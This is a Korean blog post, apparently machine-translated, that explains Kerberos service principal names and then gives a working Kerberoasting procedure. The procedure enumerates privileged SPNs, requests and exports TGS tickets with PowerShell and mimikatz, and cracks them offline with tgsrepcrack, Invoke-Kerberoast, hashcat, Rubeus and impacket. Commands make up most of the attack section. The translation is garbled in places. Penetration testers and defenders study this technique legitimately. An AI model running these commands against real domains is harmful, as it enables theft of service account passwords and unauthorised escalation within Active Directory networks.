Kerberos 프로토콜의 Kerberrosting 및 SPN

9653 단어 Kerberos
아까 TGS에서.REQ & TGS_REP 과정에서 언급한 바와 같이 사용자가 정확하게 제공하기만 하면 서비스는 자신의hash 암호화된 tgs표를 돌려받는다. 그러면 우리는 지역 사용자가 있으면 서비스의 tgs표를 신청할 수 있다. 로컬 폭파 서비스hash는 서비스 기기의 비밀번호를 받는다. 이 과정을Kerberrosting이라고 한다.
그래서 본고는 Kerberonasting과 spn을 소개한다.
SPN 소개
SPN은 서버에서 실행되는 서비스의 고유한 플래그이며, Kerberos를 사용하는 모든 서비스에는 하나의 SPN이 필요합니다.
SPN은 두 가지로 나뉘는데, 한 가지 레지스트리는 AD의 시스템 계정 아래에 있고, 다른 한 가지 레지스트리는 지역 사용자 계정(Users) 아래에 있다.
이 서비스의 권한이 Local System 또는 Network Service이면 SPN은 시스템 계정에 기재됩니다.
이 서비스는 영역 사용자로 제한되며 SPN은 영역 사용자(Users)에 등록됩니다.
SPN 형식
serviceclass/host:port/servicename
  • 서비스클래스는 서비스의 이름으로 이해할 수 있는데 흔히 www,ldap,SMTP,DNS,HOST 등
  • 이 있다.
  • host는 두 가지 형식이 있는데 FQDN과 NetBIOS 이름, 예를 들어 서버01이다.test.com 및 서버 01
  • 서비스가 묵인된 쪽에서 실행되면 포트 번호(port)를 생략할 수 있음
  • 나는 여기에 setspn -A MSSQLSvc/DM.test.local:1433 sqladmin 메모판인 MSSQLSvc라는 SPN을 통해 다른 것을 sqladmin이라는 인터페이스 계정에 분배한다

    SPN 문의
    spn 조회는 사실ldap 프로토콜을 통해 조회됩니다. 그 전에 사용자나 기계 계정이어야 합니다.
    setspn -q */*
    setspn -T test.local -q */*
    

    CN=Users는 도메인 계정의 SPN이고, CN=Computers는 기계 계정입니다.
    구역 내 임의의 호스트가 SPN을 조회할 수 있고 여러 구역에서 TGS 어음을 신청할 수 있다.그리고 우리는 이 선택 구역 사용자에 따라 폭파를 진행했다. 왜냐하면 영리한 구령으로는 원격 링크를 할 수 없기 때문이다.
    그러면 Kerberrosting의 생각은 다음과 같다.
    1. SPN을 조사하여 Users에서 높은 권한을 가진 사용자를 찾는 서비스
    2. TGS를 함께 내보내기
    폭파
    이용 방법
    가치 있는 SPN 찾기
    Powerview 사용
    Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last
    

    Powerrshell 모듈 Active Directory 사용
    도메인 제어 파워실에만
    import-module ActiveDirectory
    get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
    

    삼호학생 부감독이 할 수 있는https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
    import-module .\Microsoft.ActiveDirectory.Management.dll
    
    kerberost 사용
    powershell: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
    vbs: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
    매개변수는 다음과 같습니다.
    cscript GetUserSPNs.vbs
    

    TGS 요청
    지정 서비스의 tgs
    $SPNName = 'MSSQLSvc/DM.test.local'
    Add-Type -AssemblyNAme System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
    

    모든 서비스의 tgs
    Add-Type -AssemblyName System.IdentityModel  
    setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  
    
    TGS 내보내기
    kerberos::list /export
    
    TGS 해결
    ./tgsrepcrack.py wordlist.txt test.kirbi
    
    Invoke-Kerberoast
    mimikatz가 필요하지 않아서hash를hashcat로 직접 인도해서 해독할 수 있습니다.
    Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
    

    hashcat
    hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force
    
    Rubeus
    Rubeus.exe kerberoast
    
    impacket
  • https://github.com/maaaaz/impacket-examples-windows/
  • https://github.com/SecureAuthCorp/impacket
  • python .\GetUserSPNs.py -request -dc-ip 172.16.33.3 -debug test.local/jack
    

    해시캣 그냥 뛰어.
    참고 자료
  • https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/
  • https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.html
  • 좋은 웹페이지 즐겨찾기